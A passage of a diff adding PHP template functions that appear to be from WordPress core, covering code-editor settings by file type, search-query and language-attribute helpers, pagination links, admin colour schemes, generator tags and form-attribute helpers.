+	$type = '';
+	if ( isset( $args['type'] ) ) {
+		$type = $args['type'];
+
+		// Remap MIME types to ones that CodeMirror modes will recognize.
+		if ( 'application/x-patch' === $type || 'text/x-patch' === $type ) {
+			$type = 'text/x-diff';
+		}
+	} elseif ( isset( $args['file'] ) && false !== strpos( basename( $args['file'] ), '.' ) ) {
+		$extension = strtolower( pathinfo( $args['file'], PATHINFO_EXTENSION ) );
+		foreach ( wp_get_mime_types() as $exts => $mime ) {
+			if ( preg_match( '!^(' . $exts . ')$!i', $extension ) ) {
+				$type = $mime;
+				break;
+			}
+		}
+
+		// Supply any types that are not matched by wp_get_mime_types().
+		if ( empty( $type ) ) {
+			switch ( $extension ) {
+				case 'conf':
+					$type = 'text/nginx';
+					break;
+				case 'css':
+					$type = 'text/css';
+					break;
+				case 'diff':
+				case 'patch':
+					$type = 'text/x-diff';
+					break;
+				case 'html':
+				case 'htm':
+					$type = 'text/html';
+					break;
+				case 'http':
+					$type = 'message/http';
+					break;
+				case 'js':
+					$type = 'text/javascript';
+					break;
+				case 'json':
+					$type = 'application/json';
+					break;
+				case 'jsx':
+					$type = 'text/jsx';
+					break;
+				case 'less':
+					$type = 'text/x-less';
+					break;
+				case 'md':
+					$type = 'text/x-gfm';
+					break;
+				case 'php':
+				case 'phtml':
+				case 'php3':
+				case 'php4':
+				case 'php5':
+				case 'php7':
+				case 'phps':
+					$type = 'application/x-httpd-php';
+					break;
+				case 'scss':
+					$type = 'text/x-scss';
+					break;
+				case 'sass':
+					$type = 'text/x-sass';
+					break;
+				case 'sh':
+				case 'bash':
+					$type = 'text/x-sh';
+					break;
+				case 'sql':
+					$type = 'text/x-sql';
+					break;
+				case 'svg':
+					$type = 'application/svg+xml';
+					break;
+				case 'xml':
+					$type = 'text/xml';
+					break;
+				case 'yml':
+				case 'yaml':
+					$type = 'text/x-yaml';
+					break;
+				case 'txt':
+				default:
+					$type = 'text/plain';
+					break;
+			}
+		}
+	}
+
+	if ( 'text/css' === $type ) {
+		$settings['codemirror'] = array_merge( $settings['codemirror'], array(
+			'mode' => 'css',
+			'lint' => true,
+			'autoCloseBrackets' => true,
+			'matchBrackets' => true,
+		) );
+	} elseif ( 'text/x-scss' === $type || 'text/x-less' === $type || 'text/x-sass' === $type ) {
+		$settings['codemirror'] = array_merge( $settings['codemirror'], array(
+			'mode' => $type,
+			'lint' => false,
+			'autoCloseBrackets' => true,
+			'matchBrackets' => true,
+		) );
+	} elseif ( 'text/x-diff' === $type ) {
+		$settings['codemirror'] = array_merge( $settings['codemirror'], array(
+			'mode' => 'diff',
+		) );
+	} elseif ( 'text/html' === $type ) {
+		$settings['codemirror'] = array_merge( $settings['codemirror'], array(
+			'mode' => 'htmlmixed',
+			'lint' => true,
+			'autoCloseBrackets' => true,
+			'autoCloseTags' => true,
+			'matchTags' => array(
+				'bothTags' => true,
+			),
+		) );
+
+		if ( ! current_user_can( 'unfiltered_html' ) ) {
+			$settings['htmlhint']['kses'] = wp_kses_allowed_html( 'post' );
+		}
+	} elseif ( 'text/x-gfm' === $type ) {
+		$settings['codemirror'] = array_merge( $settings['codemirror'], array(
+			'mode' => 'gfm',
+			'highlightFormatting' => true,
+		) );
+	} elseif ( 'application/javascript' === $type || 'text/javascript' === $type ) {
+		$settings['codemirror'] = array_merge( $settings['codemirror'], array(
+			'mode' => 'javascript',
+			'lint' => true,
+			'autoCloseBrackets' => true,
+			'matchBrackets' => true,
+		) );
+	} elseif ( false !== strpos( $type, 'json' ) ) {
+		$settings['codemirror'] = array_merge( $settings['codemirror'], array(
+			'mode' => array(
+				'name' => 'javascript',
+			),
+			'lint' => true,
+			'autoCloseBrackets' => true,
+			'matchBrackets' => true,
+		) );
+		if ( 'application/ld+json' === $type ) {
+			$settings['codemirror']['mode']['jsonld'] = true;
+		} else {
+			$settings['codemirror']['mode']['json'] = true;
+		}
+	} elseif ( false !== strpos( $type, 'jsx' ) ) {
+		$settings['codemirror'] = array_merge( $settings['codemirror'], array(
+			'mode' => 'jsx',
+			'autoCloseBrackets' => true,
+			'matchBrackets' => true,
+		) );
+	} elseif ( 'text/x-markdown' === $type ) {
+		$settings['codemirror'] = array_merge( $settings['codemirror'], array(
+			'mode' => 'markdown',
+			'highlightFormatting' => true,
+		) );
+	} elseif ( 'text/nginx' === $type ) {
+		$settings['codemirror'] = array_merge( $settings['codemirror'], array(
+			'mode' => 'nginx',
+		) );
+	} elseif ( 'application/x-httpd-php' === $type ) {
+		$settings['codemirror'] = array_merge( $settings['codemirror'], array(
+			'mode' => 'php',
+			'autoCloseBrackets' => true,
+			'autoCloseTags' => true,
+			'matchBrackets' => true,
+			'matchTags' => array(
+				'bothTags' => true,
+			),
+		) );
+	} elseif ( 'text/x-sql' === $type || 'text/x-mysql' === $type ) {
+		$settings['codemirror'] = array_merge( $settings['codemirror'], array(
+			'mode' => 'sql',
+			'autoCloseBrackets' => true,
+			'matchBrackets' => true,
+		) );
+	} elseif ( false !== strpos( $type, 'xml' ) ) {
+		$settings['codemirror'] = array_merge( $settings['codemirror'], array(
+			'mode' => 'xml',
+			'autoCloseBrackets' => true,
+			'autoCloseTags' => true,
+			'matchTags' => array(
+				'bothTags' => true,
+			),
+		) );
+	} elseif ( 'text/x-yaml' === $type ) {
+		$settings['codemirror'] = array_merge( $settings['codemirror'], array(
+			'mode' => 'yaml',
+		) );
+	} else {
+		$settings['codemirror']['mode'] = $type;
+	}
+
+	if ( ! empty( $settings['codemirror']['lint'] ) ) {
+		$settings['codemirror']['gutters'][] = 'CodeMirror-lint-markers';
+	}
+
+	// Let settings supplied via args override any defaults.
+	foreach ( wp_array_slice_assoc( $args, array( 'codemirror', 'csslint', 'jshint', 'htmlhint' ) ) as $key => $value ) {
+		$settings[ $key ] = array_merge(
+			$settings[ $key ],
+			$value
+		);
+	}
+
+	/**
+	 * Filters settings that are passed into the code editor.
+	 *
+	 * Returning a falsey value will disable the syntax-highlighting code editor.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param array $settings The array of settings passed to the code editor. A falsey value disables the editor.
+	 * @param array $args {
+	 *     Args passed when calling `get_code_editor_settings()`.
+	 *
+	 *     @type string   $type       The MIME type of the file to be edited.
+	 *     @type string   $file       Filename being edited.
+	 *     @type WP_Theme $theme      Theme being edited when on theme editor.
+	 *     @type string   $plugin     Plugin being edited when on plugin editor.
+	 *     @type array    $codemirror Additional CodeMirror setting overrides.
+	 *     @type array    $csslint    CSSLint rule overrides.
+	 *     @type array    $jshint     JSHint rule overrides.
+	 *     @type array    $htmlhint   JSHint rule overrides.
+	 * }
+	 */
+	return apply_filters( 'wp_code_editor_settings', $settings, $args );
+}
+
+/**
+ * Retrieves the contents of the search WordPress query variable.
+ *
+ * The search query string is passed through esc_attr() to ensure that it is safe
+ * for placing in an html attribute.
+ *
+ * @since 2.3.0
+ *
+ * @param bool $escaped Whether the result is escaped. Default true.
+ * 	                    Only use when you are later escaping it. Do not use unescaped.
+ * @return string
+ */
+function get_search_query( $escaped = true ) {
+	/**
+	 * Filters the contents of the search query variable.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param mixed $search Contents of the search query variable.
+	 */
+	$query = apply_filters( 'get_search_query', get_query_var( 's' ) );
+
+	if ( $escaped )
+		$query = esc_attr( $query );
+	return $query;
+}
+
+/**
+ * Displays the contents of the search query variable.
+ *
+ * The search query string is passed through esc_attr() to ensure that it is safe
+ * for placing in an html attribute.
+ *
+ * @since 2.1.0
+ */
+function the_search_query() {
+	/**
+	 * Filters the contents of the search query variable for display.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param mixed $search Contents of the search query variable.
+	 */
+	echo esc_attr( apply_filters( 'the_search_query', get_search_query( false ) ) );
+}
+
+/**
+ * Gets the language attributes for the html tag.
+ *
+ * Builds up a set of html attributes containing the text direction and language
+ * information for the page.
+ *
+ * @since 4.3.0
+ *
+ * @param string $doctype Optional. The type of html document. Accepts 'xhtml' or 'html'. Default 'html'.
+ */
+function get_language_attributes( $doctype = 'html' ) {
+	$attributes = array();
+
+	if ( function_exists( 'is_rtl' ) && is_rtl() )
+		$attributes[] = 'dir="rtl"';
+
+	if ( $lang = get_bloginfo( 'language' ) ) {
+		if ( get_option( 'html_type' ) == 'text/html' || $doctype == 'html' ) {
+			$attributes[] = 'lang="' . esc_attr( $lang ) . '"';
+		}
+
+		if ( get_option( 'html_type' ) != 'text/html' || $doctype == 'xhtml' ) {
+			$attributes[] = 'xml:lang="' . esc_attr( $lang ) . '"';
+		}
+	}
+
+	$output = implode(' ', $attributes);
+
+	/**
+	 * Filters the language attributes for display in the html tag.
+	 *
+	 * @since 2.5.0
+	 * @since 4.3.0 Added the `$doctype` parameter.
+	 *
+	 * @param string $output A space-separated list of language attributes.
+	 * @param string $doctype The type of html document (xhtml|html).
+	 */
+	return apply_filters( 'language_attributes', $output, $doctype );
+}
+
+/**
+ * Displays the language attributes for the html tag.
+ *
+ * Builds up a set of html attributes containing the text direction and language
+ * information for the page.
+ *
+ * @since 2.1.0
+ * @since 4.3.0 Converted into a wrapper for get_language_attributes().
+ *
+ * @param string $doctype Optional. The type of html document. Accepts 'xhtml' or 'html'. Default 'html'.
+ */
+function language_attributes( $doctype = 'html' ) {
+	echo get_language_attributes( $doctype );
+}
+
+/**
+ * Retrieve paginated link for archive post pages.
+ *
+ * Technically, the function can be used to create paginated link list for any
+ * area. The 'base' argument is used to reference the url, which will be used to
+ * create the paginated links. The 'format' argument is then used for replacing
+ * the page number. It is however, most likely and by default, to be used on the
+ * archive post pages.
+ *
+ * The 'type' argument controls format of the returned value. The default is
+ * 'plain', which is just a string with the links separated by a newline
+ * character. The other possible values are either 'array' or 'list'. The
+ * 'array' value will return an array of the paginated link list to offer full
+ * control of display. The 'list' value will place all of the paginated links in
+ * an unordered HTML list.
+ *
+ * The 'total' argument is the total amount of pages and is an integer. The
+ * 'current' argument is the current page number and is also an integer.
+ *
+ * An example of the 'base' argument is "http://example.com/all_posts.php%_%"
+ * and the '%_%' is required. The '%_%' will be replaced by the contents of in
+ * the 'format' argument. An example for the 'format' argument is "?page=%#%"
+ * and the '%#%' is also required. The '%#%' will be replaced with the page
+ * number.
+ *
+ * You can include the previous and next links in the list by setting the
+ * 'prev_next' argument to true, which it is by default. You can set the
+ * previous text, by using the 'prev_text' argument. You can set the next text
+ * by setting the 'next_text' argument.
+ *
+ * If the 'show_all' argument is set to true, then it will show all of the pages
+ * instead of a short list of the pages near the current page. By default, the
+ * 'show_all' is set to false and controlled by the 'end_size' and 'mid_size'
+ * arguments. The 'end_size' argument is how many numbers on either the start
+ * and the end list edges, by default is 1. The 'mid_size' argument is how many
+ * numbers to either side of current page, but not including current page.
+ *
+ * It is possible to add query vars to the link by using the 'add_args' argument
+ * and see add_query_arg() for more information.
+ *
+ * The 'before_page_number' and 'after_page_number' arguments allow users to
+ * augment the links themselves. Typically this might be to add context to the
+ * numbered links so that screen reader users understand what the links are for.
+ * The text strings are added before and after the page number - within the
+ * anchor tag.
+ *
+ * @since 2.1.0
+ * @since 4.9.0 Added the `aria_current` argument.
+ *
+ * @global WP_Query   $wp_query
+ * @global WP_Rewrite $wp_rewrite
+ *
+ * @param string|array $args {
+ *     Optional. Array or string of arguments for generating paginated links for archives.
+ *
+ *     @type string $base               Base of the paginated url. Default empty.
+ *     @type string $format             Format for the pagination structure. Default empty.
+ *     @type int    $total              The total amount of pages. Default is the value WP_Query's
+ *                                      `max_num_pages` or 1.
+ *     @type int    $current            The current page number. Default is 'paged' query var or 1.
+ *     @type string $aria_current       The value for the aria-current attribute. Possible values are 'page',
+ *                                      'step', 'location', 'date', 'time', 'true', 'false'. Default is 'page'.
+ *     @type bool   $show_all           Whether to show all pages. Default false.
+ *     @type int    $end_size           How many numbers on either the start and the end list edges.
+ *                                      Default 1.
+ *     @type int    $mid_size           How many numbers to either side of the current pages. Default 2.
+ *     @type bool   $prev_next          Whether to include the previous and next links in the list. Default true.
+ *     @type bool   $prev_text          The previous page text. Default '&laquo; Previous'.
+ *     @type bool   $next_text          The next page text. Default 'Next &raquo;'.
+ *     @type string $type               Controls format of the returned value. Possible values are 'plain',
+ *                                      'array' and 'list'. Default is 'plain'.
+ *     @type array  $add_args           An array of query args to add. Default false.
+ *     @type string $add_fragment       A string to append to each link. Default empty.
+ *     @type string $before_page_number A string to appear before the page number. Default empty.
+ *     @type string $after_page_number  A string to append after the page number. Default empty.
+ * }
+ * @return array|string|void String of page links or array of page links.
+ */
+function paginate_links( $args = '' ) {
+	global $wp_query, $wp_rewrite;
+
+	// Setting up default values based on the current URL.
+	$pagenum_link = html_entity_decode( get_pagenum_link() );
+	$url_parts    = explode( '?', $pagenum_link );
+
+	// Get max pages and current page out of the current query, if available.
+	$total   = isset( $wp_query->max_num_pages ) ? $wp_query->max_num_pages : 1;
+	$current = get_query_var( 'paged' ) ? intval( get_query_var( 'paged' ) ) : 1;
+
+	// Append the format placeholder to the base URL.
+	$pagenum_link = trailingslashit( $url_parts[0] ) . '%_%';
+
+	// URL base depends on permalink settings.
+	$format  = $wp_rewrite->using_index_permalinks() && ! strpos( $pagenum_link, 'index.php' ) ? 'index.php/' : '';
+	$format .= $wp_rewrite->using_permalinks() ? user_trailingslashit( $wp_rewrite->pagination_base . '/%#%', 'paged' ) : '?paged=%#%';
+
+	$defaults = array(
+		'base'               => $pagenum_link, // http://example.com/all_posts.php%_% : %_% is replaced by format (below)
+		'format'             => $format, // ?page=%#% : %#% is replaced by the page number
+		'total'              => $total,
+		'current'            => $current,
+		'aria_current'       => 'page',
+		'show_all'           => false,
+		'prev_next'          => true,
+		'prev_text'          => __( '&laquo; Previous' ),
+		'next_text'          => __( 'Next &raquo;' ),
+		'end_size'           => 1,
+		'mid_size'           => 2,
+		'type'               => 'plain',
+		'add_args'           => array(), // array of query args to add
+		'add_fragment'       => '',
+		'before_page_number' => '',
+		'after_page_number'  => '',
+	);
+
+	$args = wp_parse_args( $args, $defaults );
+
+	if ( ! is_array( $args['add_args'] ) ) {
+		$args['add_args'] = array();
+	}
+
+	// Merge additional query vars found in the original URL into 'add_args' array.
+	if ( isset( $url_parts[1] ) ) {
+		// Find the format argument.
+		$format = explode( '?', str_replace( '%_%', $args['format'], $args['base'] ) );
+		$format_query = isset( $format[1] ) ? $format[1] : '';
+		wp_parse_str( $format_query, $format_args );
+
+		// Find the query args of the requested URL.
+		wp_parse_str( $url_parts[1], $url_query_args );
+
+		// Remove the format argument from the array of query arguments, to avoid overwriting custom format.
+		foreach ( $format_args as $format_arg => $format_arg_value ) {
+			unset( $url_query_args[ $format_arg ] );
+		}
+
+		$args['add_args'] = array_merge( $args['add_args'], urlencode_deep( $url_query_args ) );
+	}
+
+	// Who knows what else people pass in $args
+	$total = (int) $args['total'];
+	if ( $total < 2 ) {
+		return;
+	}
+	$current  = (int) $args['current'];
+	$end_size = (int) $args['end_size']; // Out of bounds?  Make it the default.
+	if ( $end_size < 1 ) {
+		$end_size = 1;
+	}
+	$mid_size = (int) $args['mid_size'];
+	if ( $mid_size < 0 ) {
+		$mid_size = 2;
+	}
+	$add_args = $args['add_args'];
+	$r = '';
+	$page_links = array();
+	$dots = false;
+
+	if ( $args['prev_next'] && $current && 1 < $current ) :
+		$link = str_replace( '%_%', 2 == $current ? '' : $args['format'], $args['base'] );
+		$link = str_replace( '%#%', $current - 1, $link );
+		if ( $add_args )
+			$link = add_query_arg( $add_args, $link );
+		$link .= $args['add_fragment'];
+
+		/**
+		 * Filters the paginated links for the given archive pages.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param string $link The paginated link URL.
+		 */
+		$page_links[] = '<a class="prev page-numbers" href="' . esc_url( apply_filters( 'paginate_links', $link ) ) . '">' . $args['prev_text'] . '</a>';
+	endif;
+	for ( $n = 1; $n <= $total; $n++ ) :
+		if ( $n == $current ) :
+			$page_links[] = "<span aria-current='" . esc_attr( $args['aria_current'] ) . "' class='page-numbers current'>" . $args['before_page_number'] . number_format_i18n( $n ) . $args['after_page_number'] . "</span>";
+			$dots = true;
+		else :
+			if ( $args['show_all'] || ( $n <= $end_size || ( $current && $n >= $current - $mid_size && $n <= $current + $mid_size ) || $n > $total - $end_size ) ) :
+				$link = str_replace( '%_%', 1 == $n ? '' : $args['format'], $args['base'] );
+				$link = str_replace( '%#%', $n, $link );
+				if ( $add_args )
+					$link = add_query_arg( $add_args, $link );
+				$link .= $args['add_fragment'];
+
+				/** This filter is documented in wp-includes/general-template.php */
+				$page_links[] = "<a class='page-numbers' href='" . esc_url( apply_filters( 'paginate_links', $link ) ) . "'>" . $args['before_page_number'] . number_format_i18n( $n ) . $args['after_page_number'] . "</a>";
+				$dots = true;
+			elseif ( $dots && ! $args['show_all'] ) :
+				$page_links[] = '<span class="page-numbers dots">' . __( '&hellip;' ) . '</span>';
+				$dots = false;
+			endif;
+		endif;
+	endfor;
+	if ( $args['prev_next'] && $current && $current < $total ) :
+		$link = str_replace( '%_%', $args['format'], $args['base'] );
+		$link = str_replace( '%#%', $current + 1, $link );
+		if ( $add_args )
+			$link = add_query_arg( $add_args, $link );
+		$link .= $args['add_fragment'];
+
+		/** This filter is documented in wp-includes/general-template.php */
+		$page_links[] = '<a class="next page-numbers" href="' . esc_url( apply_filters( 'paginate_links', $link ) ) . '">' . $args['next_text'] . '</a>';
+	endif;
+	switch ( $args['type'] ) {
+		case 'array' :
+			return $page_links;
+
+		case 'list' :
+			$r .= "<ul class='page-numbers'>\n\t<li>";
+			$r .= join("</li>\n\t<li>", $page_links);
+			$r .= "</li>\n</ul>\n";
+			break;
+
+		default :
+			$r = join("\n", $page_links);
+			break;
+	}
+	return $r;
+}
+
+/**
+ * Registers an admin colour scheme css file.
+ *
+ * Allows a plugin to register a new admin colour scheme. For example:
+ *
+ *     wp_admin_css_color( 'classic', __( 'Classic' ), admin_url( "css/colors-classic.css" ), array(
+ *         '#07273E', '#14568A', '#D54E21', '#2683AE'
+ *     ) );
+ *
+ * @since 2.5.0
+ *
+ * @global array $_wp_admin_css_colors
+ *
+ * @param string $key    The unique key for this theme.
+ * @param string $name   The name of the theme.
+ * @param string $url    The URL of the CSS file containing the color scheme.
+ * @param array  $colors Optional. An array of CSS color definition strings which are used
+ *                       to give the user a feel for the theme.
+ * @param array  $icons {
+ *     Optional. CSS color definitions used to color any SVG icons.
+ *
+ *     @type string $base    SVG icon base color.
+ *     @type string $focus   SVG icon color on focus.
+ *     @type string $current SVG icon color of current admin menu link.
+ * }
+ */
+function wp_admin_css_color( $key, $name, $url, $colors = array(), $icons = array() ) {
+	global $_wp_admin_css_colors;
+
+	if ( !isset($_wp_admin_css_colors) )
+		$_wp_admin_css_colors = array();
+
+	$_wp_admin_css_colors[$key] = (object) array(
+		'name' => $name,
+		'url' => $url,
+		'colors' => $colors,
+		'icon_colors' => $icons,
+	);
+}
+
+/**
+ * Registers the default Admin color schemes
+ *
+ * @since 3.0.0
+ */
+function register_admin_color_schemes() {
+	$suffix = is_rtl() ? '-rtl' : '';
+	$suffix .= SCRIPT_DEBUG ? '' : '.min';
+
+	wp_admin_css_color( 'fresh', _x( 'Default', 'admin color scheme' ),
+		false,
+		array( '#222', '#333', '#0073aa', '#00a0d2' ),
+		array( 'base' => '#82878c', 'focus' => '#00a0d2', 'current' => '#fff' )
+	);
+
+	// Other color schemes are not available when running out of src
+	if ( false !== strpos( get_bloginfo( 'version' ), '-src' ) ) {
+		return;
+	}
+
+	wp_admin_css_color( 'light', _x( 'Light', 'admin color scheme' ),
+		admin_url( "css/colors/light/colors$suffix.css" ),
+		array( '#e5e5e5', '#999', '#d64e07', '#04a4cc' ),
+		array( 'base' => '#999', 'focus' => '#ccc', 'current' => '#ccc' )
+	);
+
+	wp_admin_css_color( 'blue', _x( 'Blue', 'admin color scheme' ),
+		admin_url( "css/colors/blue/colors$suffix.css" ),
+		array( '#096484', '#4796b3', '#52accc', '#74B6CE' ),
+		array( 'base' => '#e5f8ff', 'focus' => '#fff', 'current' => '#fff' )
+	);
+
+	wp_admin_css_color( 'midnight', _x( 'Midnight', 'admin color scheme' ),
+		admin_url( "css/colors/midnight/colors$suffix.css" ),
+		array( '#25282b', '#363b3f', '#69a8bb', '#e14d43' ),
+		array( 'base' => '#f1f2f3', 'focus' => '#fff', 'current' => '#fff' )
+	);
+
+	wp_admin_css_color( 'sunrise', _x( 'Sunrise', 'admin color scheme' ),
+		admin_url( "css/colors/sunrise/colors$suffix.css" ),
+		array( '#b43c38', '#cf4944', '#dd823b', '#ccaf0b' ),
+		array( 'base' => '#f3f1f1', 'focus' => '#fff', 'current' => '#fff' )
+	);
+
+	wp_admin_css_color( 'ectoplasm', _x( 'Ectoplasm', 'admin color scheme' ),
+		admin_url( "css/colors/ectoplasm/colors$suffix.css" ),
+		array( '#413256', '#523f6d', '#a3b745', '#d46f15' ),
+		array( 'base' => '#ece6f6', 'focus' => '#fff', 'current' => '#fff' )
+	);
+
+	wp_admin_css_color( 'ocean', _x( 'Ocean', 'admin color scheme' ),
+		admin_url( "css/colors/ocean/colors$suffix.css" ),
+		array( '#627c83', '#738e96', '#9ebaa0', '#aa9d88' ),
+		array( 'base' => '#f2fcff', 'focus' => '#fff', 'current' => '#fff' )
+	);
+
+	wp_admin_css_color( 'coffee', _x( 'Coffee', 'admin color scheme' ),
+		admin_url( "css/colors/coffee/colors$suffix.css" ),
+		array( '#46403c', '#59524c', '#c7a589', '#9ea476' ),
+		array( 'base' => '#f3f2f1', 'focus' => '#fff', 'current' => '#fff' )
+	);
+
+}
+
+/**
+ * Displays the URL of a WordPress admin CSS file.
+ *
+ * @see WP_Styles::_css_href and its {@see 'style_loader_src'} filter.
+ *
+ * @since 2.3.0
+ *
+ * @param string $file file relative to wp-admin/ without its ".css" extension.
+ * @return string
+ */
+function wp_admin_css_uri( $file = 'wp-admin' ) {
+	if ( defined('WP_INSTALLING') ) {
+		$_file = "./$file.css";
+	} else {
+		$_file = admin_url("$file.css");
+	}
+	$_file = add_query_arg( 'version', get_bloginfo( 'version' ),  $_file );
+
+	/**
+	 * Filters the URI of a WordPress admin CSS file.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string $_file Relative path to the file with query arguments attached.
+	 * @param string $file  Relative path to the file, minus its ".css" extension.
+	 */
+	return apply_filters( 'wp_admin_css_uri', $_file, $file );
+}
+
+/**
+ * Enqueues or directly prints a stylesheet link to the specified CSS file.
+ *
+ * "Intelligently" decides to enqueue or to print the CSS file. If the
+ * {@see 'wp_print_styles'} action has *not* yet been called, the CSS file will be
+ * enqueued. If the {@see 'wp_print_styles'} action has been called, the CSS link will
+ * be printed. Printing may be forced by passing true as the $force_echo
+ * (second) parameter.
+ *
+ * For backward compatibility with WordPress 2.3 calling method: If the $file
+ * (first) parameter does not correspond to a registered CSS file, we assume
+ * $file is a file relative to wp-admin/ without its ".css" extension. A
+ * stylesheet link to that generated URL is printed.
+ *
+ * @since 2.3.0
+ *
+ * @param string $file       Optional. Style handle name or file name (without ".css" extension) relative
+ * 	                         to wp-admin/. Defaults to 'wp-admin'.
+ * @param bool   $force_echo Optional. Force the stylesheet link to be printed rather than enqueued.
+ */
+function wp_admin_css( $file = 'wp-admin', $force_echo = false ) {
+	// For backward compatibility
+	$handle = 0 === strpos( $file, 'css/' ) ? substr( $file, 4 ) : $file;
+
+	if ( wp_styles()->query( $handle ) ) {
+		if ( $force_echo || did_action( 'wp_print_styles' ) ) // we already printed the style queue. Print this one immediately
+			wp_print_styles( $handle );
+		else // Add to style queue
+			wp_enqueue_style( $handle );
+		return;
+	}
+
+	/**
+	 * Filters the stylesheet link to the specified CSS file.
+	 *
+	 * If the site is set to display right-to-left, the RTL stylesheet link
+	 * will be used instead.
+	 *
+	 * @since 2.3.0
+	 * @param string $stylesheet_link HTML link element for the stylesheet.
+	 * @param string $file            Style handle name or filename (without ".css" extension)
+	 *                                relative to wp-admin/. Defaults to 'wp-admin'.
+	 */
+	echo apply_filters( 'wp_admin_css', "<link rel='stylesheet' href='" . esc_url( wp_admin_css_uri( $file ) ) . "' type='text/css' />\n", $file );
+
+	if ( function_exists( 'is_rtl' ) && is_rtl() ) {
+		/** This filter is documented in wp-includes/general-template.php */
+		echo apply_filters( 'wp_admin_css', "<link rel='stylesheet' href='" . esc_url( wp_admin_css_uri( "$file-rtl" ) ) . "' type='text/css' />\n", "$file-rtl" );
+	}
+}
+
+/**
+ * Enqueues the default ThickBox js and css.
+ *
+ * If any of the settings need to be changed, this can be done with another js
+ * file similar to media-upload.js. That file should
+ * require array('thickbox') to ensure it is loaded after.
+ *
+ * @since 2.5.0
+ */
+function add_thickbox() {
+	wp_enqueue_script( 'thickbox' );
+	wp_enqueue_style( 'thickbox' );
+
+	if ( is_network_admin() )
+		add_action( 'admin_head', '_thickbox_path_admin_subfolder' );
+}
+
+/**
+ * Displays the XHTML generator that is generated on the wp_head hook.
+ *
+ * See {@see 'wp_head'}.
+ *
+ * @since 2.5.0
+ */
+function wp_generator() {
+	/**
+	 * Filters the output of the XHTML generator tag.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $generator_type The XHTML generator.
+	 */
+	the_generator( apply_filters( 'wp_generator_type', 'xhtml' ) );
+}
+
+/**
+ * Display the generator XML or Comment for RSS, ATOM, etc.
+ *
+ * Returns the correct generator type for the requested output format. Allows
+ * for a plugin to filter generators overall the {@see 'the_generator'} filter.
+ *
+ * @since 2.5.0
+ *
+ * @param string $type The type of generator to output - (html|xhtml|atom|rss2|rdf|comment|export).
+ */
+function the_generator( $type ) {
+	/**
+	 * Filters the output of the XHTML generator tag for display.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $generator_type The generator output.
+	 * @param string $type           The type of generator to output. Accepts 'html',
+	 *                               'xhtml', 'atom', 'rss2', 'rdf', 'comment', 'export'.
+	 */
+	echo apply_filters( 'the_generator', get_the_generator($type), $type ) . "\n";
+}
+
+/**
+ * Creates the generator XML or Comment for RSS, ATOM, etc.
+ *
+ * Returns the correct generator type for the requested output format. Allows
+ * for a plugin to filter generators on an individual basis using the
+ * {@see 'get_the_generator_$type'} filter.
+ *
+ * @since 2.5.0
+ *
+ * @param string $type The type of generator to return - (html|xhtml|atom|rss2|rdf|comment|export).
+ * @return string|void The HTML content for the generator.
+ */
+function get_the_generator( $type = '' ) {
+	if ( empty( $type ) ) {
+
+		$current_filter = current_filter();
+		if ( empty( $current_filter ) )
+			return;
+
+		switch ( $current_filter ) {
+			case 'rss2_head' :
+			case 'commentsrss2_head' :
+				$type = 'rss2';
+				break;
+			case 'rss_head' :
+			case 'opml_head' :
+				$type = 'comment';
+				break;
+			case 'rdf_header' :
+				$type = 'rdf';
+				break;
+			case 'atom_head' :
+			case 'comments_atom_head' :
+			case 'app_head' :
+				$type = 'atom';
+				break;
+		}
+	}
+
+	switch ( $type ) {
+		case 'html':
+			$gen = '<meta name="generator" content="WordPress ' . esc_attr( get_bloginfo( 'version' ) ) . '">';
+			break;
+		case 'xhtml':
+			$gen = '<meta name="generator" content="WordPress ' . esc_attr( get_bloginfo( 'version' ) ) . '" />';
+			break;
+		case 'atom':
+			$gen = '<generator uri="https://wordpress.org/" version="' . esc_attr( get_bloginfo_rss( 'version' ) ) . '">WordPress</generator>';
+			break;
+		case 'rss2':
+			$gen = '<generator>' . esc_url_raw( 'https://wordpress.org/?v=' . get_bloginfo_rss( 'version' ) ) . '</generator>';
+			break;
+		case 'rdf':
+			$gen = '<admin:generatorAgent rdf:resource="' . esc_url_raw( 'https://wordpress.org/?v=' . get_bloginfo_rss( 'version' ) ) . '" />';
+			break;
+		case 'comment':
+			$gen = '<!-- generator="WordPress/' . esc_attr( get_bloginfo( 'version' ) ) . '" -->';
+			break;
+		case 'export':
+			$gen = '<!-- generator="WordPress/' . esc_attr( get_bloginfo_rss( 'version' ) ) . '" created="' . date( 'Y-m-d H:i' ) . '" -->';
+			break;
+	}
+
+	/**
+	 * Filters the HTML for the retrieved generator type.
+	 *
+	 * The dynamic portion of the hook name, `$type`, refers to the generator type.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $gen  The HTML markup output to wp_head().
+	 * @param string $type The type of generator. Accepts 'html', 'xhtml', 'atom',
+	 *                     'rss2', 'rdf', 'comment', 'export'.
+	 */
+	return apply_filters( "get_the_generator_{$type}", $gen, $type );
+}
+
+/**
+ * Outputs the html checked attribute.
+ *
+ * Compares the first two arguments and if identical marks as checked
+ *
+ * @since 1.0.0
+ *
+ * @param mixed $checked One of the values to compare
+ * @param mixed $current (true) The other value to compare if not just true
+ * @param bool  $echo    Whether to echo or just return the string
+ * @return string html attribute or empty string
+ */
+function checked( $checked, $current = true, $echo = true ) {
+	return __checked_selected_helper( $checked, $current, $echo, 'checked' );
+}
+
+/**
+ * Outputs the html selected attribute.
+ *
+ * Compares the first two arguments and if identical marks as selected
+ *
+ * @since 1.0.0
+ *
+ * @param mixed $selected One of the values to compare
+ * @param mixed $current  (true) The other value to compare if not just true
+ * @param bool  $echo     Whether to echo or just return the string
+ * @return string html attribute or empty string
+ */
+function selected( $selected, $current = true, $echo = true ) {
+	return __checked_selected_helper( $selected, $current, $echo, 'selected' );
+}
+
+/**
+ * Outputs the html disabled attribute.
+ *
+ * Compares the first two arguments and if identical marks as disabled
+ *
+ * @since 3.0.0
+ *
+ * @param mixed $disabled One of the values to compare
+ * @param mixed $current  (true) The other value to compare if not just true
+ * @param bool  $echo     Whether to echo or just return the string
+ * @return string html attribute or empty string
+ */
+function disabled( $disabled, $current = true, $echo = true ) {
+	return __checked_selected_helper( $disabled, $current, $echo, 'disabled' );
+}
+
+/**
+ * Outputs the html readonly attribute.
+ *
+ * Compares the first two arguments and if identical marks as readonly
+ *
+ * @since 4.9.0
+ *
